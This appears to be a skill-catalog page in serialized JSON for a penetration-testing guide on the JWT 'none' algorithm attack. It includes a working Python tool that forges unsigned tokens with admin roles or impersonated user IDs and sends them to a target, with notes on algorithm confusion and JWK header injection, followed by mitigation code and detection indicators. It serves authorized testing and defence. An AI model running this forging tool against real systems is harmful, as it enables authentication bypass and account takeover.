[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFVSDV2ARAZJFRYS66MXW9":3,"skill-same:01M6AFVSDV2ARAZJFRYS66MXW9":110},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":69,"commitSha":70,"skillDirectory":71,"forksCount":72,"repositoryHtmlUrl":73,"repositoryHomepageUrl":74,"ownerHtmlUrl":75,"ownerBlogUrl":76,"ownerDescription":77,"updatedAt":78,"install":79,"resources":92},"01M6AFVSDV2ARAZJFRYS66MXW9","performing-jwt-none-algorithm-attack",null,"Execute and test the JWT none algorithm attack, crafting tokens with the alg header set to none using PyJWT and an intercepting proxy (Burp Suite\u002Fmitmproxy) to bypass signature verification and forge arbitrary claims. Use during authorized penetration tests or security assessments of applications that use JWT for authentication or authorization, to validate that the server rejects unsigned tokens.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36078,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"performing jwt none algorithm attack","jwt","authentication-bypass","signature-bypass","none-algorithm","api","applications","SET","mitmproxy","owasp","testing","forge","api-security","server","proxy","verification","authentication","pr","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-jwt-none-algorithm-attack\ndescription: Execute and test the JWT none algorithm attack, crafting tokens with\n  the alg header set to none using PyJWT and an intercepting proxy (Burp Suite\u002Fmitmproxy)\n  to bypass signature verification and forge arbitrary claims. Use during authorized\n  penetration tests or security assessments of applications that use JWT for authentication\n  or authorization, to validate that the server rejects unsigned tokens.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- jwt\n- none-algorithm\n- authentication-bypass\n- token-manipulation\n- signature-bypass\n- penetration-testing\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1027\n- T1070\n---\n\n# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n","# Performing JWT None Algorithm Attack\n\n## Overview\n\nThe JWT none algorithm attack exploits a vulnerability in JSON Web Token libraries that accept tokens with the `alg` header set to `none`, effectively bypassing signature verification. When a server processes a JWT with `\"alg\": \"none\"`, it treats the token as valid without checking any cryptographic signature, allowing attackers to forge tokens with arbitrary claims such as escalated privileges, impersonated users, or extended expiration times. This vulnerability was first disclosed by Tim McLean in 2015 and has affected multiple JWT libraries across languages.\n\n\n## When to Use\n\n- When conducting security assessments that involve performing jwt none algorithm attack\n- When following incident response procedures for related security events\n- When performing scheduled security testing or auditing activities\n- When validating security controls through hands-on testing\n\n## Prerequisites\n\n- Target application using JWT for authentication or authorization\n- Ability to intercept and modify HTTP requests (Burp Suite, mitmproxy)\n- Python 3.8+ with PyJWT library for token crafting\n- Understanding of JWT structure (Header.Payload.Signature)\n- Authorization to perform security testing on the target\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## JWT Structure\n\nA JWT consists of three Base64URL-encoded parts separated by dots:\n\n```\nHeader.Payload.Signature\n\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.    # Header\neyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ.    # Payload\nSflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c  # Signature\n```\n\n## Attack Methodology\n\n### Step 1: Capture a Valid JWT\n\nIntercept a legitimate JWT from the target application using Burp Suite or browser developer tools:\n\n```\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n```\n\n### Step 2: Decode and Analyze the Token\n\n```python\nimport base64\nimport json\n\ntoken = \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\"\n\nparts = token.split('.')\n\n# Decode header\nheader = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))\nprint(f\"Header: {header}\")\n# Output: {'alg': 'HS256', 'typ': 'JWT'}\n\n# Decode payload\npayload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\nprint(f\"Payload: {payload}\")\n# Output: {'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}\n```\n\n### Step 3: Craft a Forged Token with None Algorithm\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"JWT None Algorithm Attack Tool\n\nCrafts JWT tokens with the 'none' algorithm to test for\nsignature verification bypass vulnerabilities.\n\"\"\"\n\nimport base64\nimport json\nimport requests\nimport sys\nfrom typing import Optional\n\nclass JWTNoneAttack:\n    # All known variations of the 'none' algorithm value\n    NONE_VARIANTS = [\n        \"none\",\n        \"None\",\n        \"NONE\",\n        \"nOnE\",\n        \"noNe\",\n        \"NoNe\",\n        \"nONE\",\n        \"nonE\",\n    ]\n\n    def __init__(self, target_url: str, original_token: str):\n        self.target_url = target_url\n        self.original_token = original_token\n        self.original_header, self.original_payload = self._decode_token(original_token)\n\n    def _base64url_encode(self, data: bytes) -> str:\n        \"\"\"Base64URL encode without padding.\"\"\"\n        return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')\n\n    def _base64url_decode(self, data: str) -> bytes:\n        \"\"\"Base64URL decode with padding restoration.\"\"\"\n        padding = 4 - len(data) % 4\n        if padding != 4:\n            data += '=' * padding\n        return base64.urlsafe_b64decode(data)\n\n    def _decode_token(self, token: str) -> tuple:\n        \"\"\"Decode JWT header and payload.\"\"\"\n        parts = token.split('.')\n        header = json.loads(self._base64url_decode(parts[0]))\n        payload = json.loads(self._base64url_decode(parts[1]))\n        return header, payload\n\n    def craft_none_token(self, modified_payload: dict,\n                          alg_variant: str = \"none\") -> str:\n        \"\"\"Craft a JWT with the none algorithm and modified payload.\"\"\"\n        # Create header with none algorithm\n        header = {\"alg\": alg_variant, \"typ\": \"JWT\"}\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n\n        # Encode modified payload\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Token with empty signature (just trailing dot)\n        return f\"{header_encoded}.{payload_encoded}.\"\n\n    def craft_privilege_escalation(self, role_field: str = \"role\",\n                                     admin_value: str = \"admin\") -> list:\n        \"\"\"Create tokens with escalated privileges using all none variants.\"\"\"\n        tokens = []\n        modified_payload = dict(self.original_payload)\n        modified_payload[role_field] = admin_value\n\n        for variant in self.NONE_VARIANTS:\n            token = self.craft_none_token(modified_payload, variant)\n            tokens.append({\"variant\": variant, \"token\": token})\n\n        return tokens\n\n    def craft_user_impersonation(self, target_user_id: str,\n                                   user_field: str = \"sub\") -> str:\n        \"\"\"Create a token impersonating another user.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[user_field] = target_user_id\n        return self.craft_none_token(modified_payload)\n\n    def test_none_variants(self, endpoint: str = \"\u002Fapi\u002Fprofile\",\n                            headers: Optional[dict] = None) -> list:\n        \"\"\"Test all none algorithm variants against the target.\"\"\"\n        results = []\n        base_headers = headers or {}\n\n        for variant in self.NONE_VARIANTS:\n            modified_payload = dict(self.original_payload)\n            modified_payload[\"role\"] = \"admin\"\n            token = self.craft_none_token(modified_payload, variant)\n\n            test_headers = dict(base_headers)\n            test_headers[\"Authorization\"] = f\"Bearer {token}\"\n\n            try:\n                response = requests.get(\n                    f\"{self.target_url}{endpoint}\",\n                    headers=test_headers,\n                    timeout=10\n                )\n                result = {\n                    \"variant\": variant,\n                    \"status_code\": response.status_code,\n                    \"accepted\": response.status_code == 200,\n                    \"response_length\": len(response.content),\n                }\n                results.append(result)\n\n                if response.status_code == 200:\n                    print(f\"  [VULNERABLE] alg='{variant}' -> {response.status_code}\")\n                else:\n                    print(f\"  [SAFE] alg='{variant}' -> {response.status_code}\")\n\n            except requests.exceptions.RequestException as e:\n                results.append({\n                    \"variant\": variant,\n                    \"status_code\": 0,\n                    \"accepted\": False,\n                    \"error\": str(e)\n                })\n\n        return results\n\n    def test_empty_signature_variants(self) -> list:\n        \"\"\"Test different empty signature formats.\"\"\"\n        modified_payload = dict(self.original_payload)\n        modified_payload[\"role\"] = \"admin\"\n        header = {\"alg\": \"none\", \"typ\": \"JWT\"}\n\n        header_encoded = self._base64url_encode(json.dumps(header).encode())\n        payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())\n\n        # Different signature formats\n        variants = [\n            f\"{header_encoded}.{payload_encoded}.\",      # Empty signature with trailing dot\n            f\"{header_encoded}.{payload_encoded}\",       # No trailing dot\n            f\"{header_encoded}.{payload_encoded}.AA==\",  # Minimal base64 signature\n        ]\n\n        results = []\n        for token in variants:\n            results.append({\"token_format\": token[-20:], \"token\": token})\n\n        return results\n\n\ndef main():\n    if len(sys.argv) \u003C 3:\n        print(\"Usage: python jwt_none_attack.py \u003Ctarget_url> \u003Coriginal_token>\")\n        print(\"Example: python jwt_none_attack.py https:\u002F\u002Fapi.example.com eyJhbG...\")\n        sys.exit(1)\n\n    target_url = sys.argv[1]\n    original_token = sys.argv[2]\n\n    attacker = JWTNoneAttack(target_url, original_token)\n\n    print(f\"\\nOriginal Token Header: {attacker.original_header}\")\n    print(f\"Original Token Payload: {attacker.original_payload}\")\n\n    print(f\"\\n{'='*60}\")\n    print(\"Testing None Algorithm Variants\")\n    print(f\"{'='*60}\")\n    results = attacker.test_none_variants()\n\n    vulnerable = [r for r in results if r.get(\"accepted\")]\n    if vulnerable:\n        print(f\"\\n[!] VULNERABLE: {len(vulnerable)} variant(s) accepted!\")\n        print(\"[!] The server does not properly validate JWT signatures\")\n    else:\n        print(f\"\\n[+] SECURE: All none algorithm variants were rejected\")\n\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Step 4: Additional JWT Attack Variants\n\n**Algorithm Confusion (RS256 to HS256):**\nIf the server uses RS256 (asymmetric), an attacker who knows the public key can:\n1. Change `alg` to `HS256`\n2. Sign the token using the public key as the HMAC secret\n3. The server may verify the signature using its public key as an HMAC key\n\n**JWK Header Injection (CVE-2018-0114):**\n```json\n{\n  \"alg\": \"RS256\",\n  \"typ\": \"JWT\",\n  \"jwk\": {\n    \"kty\": \"RSA\",\n    \"n\": \"\u003Cattacker-controlled-key>\",\n    \"e\": \"AQAB\"\n  }\n}\n```\n\n## Mitigation Strategies\n\n```python\n# Secure JWT verification - always specify allowed algorithms\nimport jwt\n\ndef verify_token_secure(token: str, secret_key: str) -> dict:\n    \"\"\"Verify JWT with explicit algorithm allowlist.\"\"\"\n    try:\n        payload = jwt.decode(\n            token,\n            secret_key,\n            algorithms=[\"HS256\"],  # CRITICAL: Explicit allowlist\n            options={\n                \"require\": [\"exp\", \"iat\", \"sub\"],  # Required claims\n                \"verify_exp\": True,\n                \"verify_iat\": True,\n            }\n        )\n        return payload\n    except jwt.InvalidAlgorithmError:\n        raise ValueError(\"Invalid token algorithm\")\n    except jwt.ExpiredSignatureError:\n        raise ValueError(\"Token expired\")\n    except jwt.InvalidTokenError:\n        raise ValueError(\"Invalid token\")\n```\n\n## Detection Indicators\n\n- JWT tokens with `\"alg\": \"none\"` (or case variations) in server logs\n- Tokens with empty or missing signature segments\n- Sudden change in algorithm field from normal patterns\n- Tokens with modified claims (role escalation) from the same session\n- Authorization header containing tokens with only two Base64 segments\n\n## References\n\n- OWASP JWT Testing Guide: https:\u002F\u002Fowasp.org\u002Fwww-project-web-security-testing-guide\u002Flatest\u002F4-Web_Application_Security_Testing\u002F06-Session_Management_Testing\u002F10-Testing_JSON_Web_Tokens\n- Auth0 JWT Vulnerability Disclosure: https:\u002F\u002Fauth0.com\u002Fblog\u002Fcritical-vulnerabilities-in-json-web-token-libraries\u002F\n- PortSwigger JWT None Algorithm: https:\u002F\u002Fportswigger.net\u002Fkb\u002Fissues\u002F00200901_jwt-none-algorithm-supported\n- HackTricks JWT Vulnerabilities: https:\u002F\u002Fbook.hacktricks.xyz\u002Fpentesting-web\u002Fhacking-jwt-json-web-tokens\n- Invicti JWT Signature Bypass: https:\u002F\u002Fwww.invicti.com\u002Fweb-vulnerability-scanner\u002Fvulnerabilities\u002Fjwt-signature-bypass-via-none-algorithm\n",{"name":5,"tags":52,"author":56,"domain":45,"license":15,"version":57,"nist_csf":58,"subdomain":39,"description":7,"mitre_attack":63},[28,31,29,53,30,54,36,55],"token-manipulation","penetration-testing","web-security","mahipal","1.0",[59,60,61,62],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[64,65,66,67,68],"T1190","T1059.007","T1552.001","T1027","T1070","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-jwt-none-algorithm-attack",4414,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":80,"prompt":90,"zipAvailable":91},[81,84,87],{"tool":82,"command":83},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack",{"tool":85,"command":86},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack",{"tool":88,"command":89},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-jwt-none-algorithm-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FSKILL.md",true,[93,98,104],{"path":94,"resourceType":94,"resourceTypeDesc":95,"sizeBytes":96,"sourceHtmlUrl":97},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002FLICENSE",{"path":99,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"references\u002Fapi-reference.md","REFERENCE","参考文档",1710,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002Freferences\u002Fapi-reference.md",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"scripts\u002Fagent.py","SCRIPT","脚本",7096,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-jwt-none-algorithm-attack\u002Fscripts\u002Fagent.py",[111,138,161,186,211,237],{"skillNo":112,"name":113,"nameZh":6,"description":114,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":115,"categories":116,"keywords":120,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[117],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[121,122,123,124,46,45,125,126,44,127,128,129,130,131,132,133,134,135,136,137],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":139,"name":140,"nameZh":6,"description":141,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":142,"categories":143,"keywords":145,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[144],{"categoryNo":118,"categoryName":119,"taxonomyType":21,"taxonomyTypeDesc":22},[146,134,147,148,46,149,45,44,42,150,151,152,153,154,155,156,157,158,159,160],"boot","TPM","validating tpm measured boot 